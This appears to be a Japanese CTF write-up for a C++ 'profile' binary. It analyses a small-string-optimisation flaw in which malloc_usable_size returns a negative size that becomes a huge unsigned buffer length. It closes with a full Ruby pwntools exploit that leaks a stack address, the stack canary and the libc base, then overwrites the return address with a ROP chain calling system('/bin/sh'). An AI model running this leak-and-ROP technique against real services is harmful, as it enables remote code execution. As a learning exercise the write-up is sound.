Profile
Profile::set_name
Profile::set_age
Profile::show
Profile::set_msg
https://gyazo.com/6de55e90f8ee6e94fb04fd6ccf74b164
Profile::update_msg
https://gyazo.com/7b288354f187ee2c958fcc754e19aefe
size = malloc_usable_size(profile.msg.c_str())
Small-String Optimization (SSO)
しかし,string は文字列が短い場合(0xf文字以下でしたっけ?)は,局所変数であればスタックに確保された領域に書き込まれます.この場合, malloc_usable_size 関数は失敗し負数を返します.
v8のSmiみたいにする
code:stringfwd.h?
typedef basic_string<char> string;
code:basic_string.h
struct _Alloc_hider : allocator_type {
pointer _M_p; // The actual data.
};
_Alloc_hider _M_dataplus;
size_type _M_string_length;
enum { _S_local_capacity = 15 / sizeof(_CharT) };
union {
size_type _M_allocated_capacity;
};
code:gcc/libstdc++-v3/src/c++11/sso_string.cc
struct __str {
const char* _M_p;
size_t _M_string_length;
};
union {
__str _M_s;
std::string _M_str;
};
上の2つが対応しているっぽい
0x8 + 0x8 + 0x10 = 0x20ということか
https://gyazo.com/5bf69324fb7020f7f91a66ef81c316e4
msg: 0x...250 → 0x...260 = "A"
name: 0x...270 → 0x...280 = "A"
age: 0x...290 = 0x...3 = 3
code:basic_string.h
pointer
_M_data() const
{ return _M_dataplus._M_p; }
pointer
_M_local_data()
{
#if __cplusplus >= 201103L return std::pointer_traits<pointer>::pointer_to(*_M_local_buf);
return pointer(_M_local_buf);
...
bool
_M_is_local() const
{ return _M_data() == _M_local_data(); }
_M_pが_M_local_bufを指していればlocal (SSO有効) になる
malloc_usable_sizeの実装
glibc/malloc/malloc.c
実装はmusable(void *mem)
適当に短い文字列を入れてこねくりまわすとデストラクタのfreeで落ちた
mallocしてない
負数だ -8
code:gdb
RAX: 0xfffffffffffffff8
...
...
0x4010b9 <_ZN7Profile10update_msgEv+35>: call 0x400e90 <malloc_usable_size@plt>
=> 0x4010be <_ZN7Profile10update_msgEv+40>: mov QWORD PTR rbp-0x8,rax getn(char *, unsigned int) (profile.msg.c_str(), size) unsignedなのでサイズが偽装できる
getnはCのgetsみたいな実装
code:basic_string.h
/**
* @brief Return const pointer to null-terminated contents.
*
* This is a handle to internal data. Do not modify or dire things may
* happen.
*/
const _CharT*
c_str() const _GLIBCXX_NOEXCEPT
{ return _M_data(); }
dire things may happen
解く
msgの下にあるname._M_ptrのLSBを0x00→0xffまで総当りして、name._M_local_bufのアドレスのLSBを求める
name._M_ptrがあるアドレスをリーク
Canaryをリーク
https://gyazo.com/04d1f51d21058a34084d56a6355e46cc
これがCanary
__libc_start_mainへのリターンアドレスが読めるので、libcのアドレスをリーク
popret gadgetを使ってsystem("/bin/sh")をROPで呼び出す
Exploit
code:exploit.rb
# encoding: ASCII-8BIT
require 'pwn'
context.arch = 'amd64'
# context.log_level = :debug
s = Sock.new 'localhost', 7000
# s = Tubes::Process.new './profile'
def update_message s, msg
s.recvuntil ">> "
s.send "1\n" # update message
s.recvuntil "Input new message >> "
s.send msg + "\n"
end
def show_profile s
s.recvuntil ">> "
s.send "2\n"
s.recvuntil "Name : "
name = s.recvuntil("\n").chomp
s.recvuntil "Age : "
age = s.recvuntil("\n").chomp.to_i
s.recvuntil "Msg : "
msg = s.recvuntil("\n").chomp
{name: name, age: age, msg: msg}
end
def exit_app s
s.recvuntil ">> "
s.send "0\n"
end
s.recvuntil "Name >> "
s.send "hogepiyo\n"
s.recvuntil "Age >> "
s.send "3\n"
s.recvuntil "Message >> "
s.send "mog\n"
# leak stack address
name_ptr_addr_lsb = nil # name._M_ptrのアドレス(のLSB)
0.step(0xff, 8) do |ch|
payload = 'A' * 0x10 # _M_local_buf of msg
# ポインタの一番下のバイトを特定する
# ポインタの上の部分は放っておくので1byteだけ投げ込む
payload += ch.chr
update_message s, payload
x = show_profile(s)
if x:name == "hogepiyo" # chが正しくname._M_local_bufを指した name_ptr_addr_lsb = ch - 0x10
# どこかでstringをコピーしているためか、同じ文字列が複数見つかるので一番アドレスが大きい→main関数に近い=オリジナルのProfileインスタンスのアドレスを選ぶようにする(ここでn時間溶かした)
# スタックの構造が想定したものになっているかよく見よう
# break
end
end
# leak profile instance's addr
update_message s, "A" * 0x10 + name_ptr_addr_lsb.chr
name_addr = u64(show_profile(s):name) # name._M_ptrのアドレス = nameのアドレス profile_addr = name_addr - 0x20
leak = proc do |offset|
update_message s, "A" * 0x10 + p64(profile_addr + offset)
end
# leak canary
canary = leak.call 0x48
# leak libc's addr
libc_start_main_offset = 0x24130
libc_start_main_addr = leak.call(0x68) - 243
libc_base = libc_start_main_addr - libc_start_main_offset
p libc_base.hex
# overwrite canary + return to system
system_addr = libc_base + 0x45380
popret_gadget = libc_base + 0x121888
binsh_addr = libc_base + 0x184519
exit_addr = libc_base + 0x3a570
# 0.step(0x100, 8) do |ofs|
# v = leak.call(ofs)
# end
# gets
payload = "D" * 0x10 # msg._M_local_buf
payload += p64(profile_addr + 0x30) # name._M_ptr
payload += p64(5) # name._M_string_length
payload += "U" * 0x10 # name._M_local_buf
payload += p64(5) # age
payload += p64 canary
payload += "f" * 0x18 # ここで+を付け忘れてpayloadを間違え1時間溶かした
payload += p64 popret_gadget
payload += p64 binsh_addr
payload += p64 system_addr
payload += p64 exit_addr
update_message s, payload
s.interact # enter 0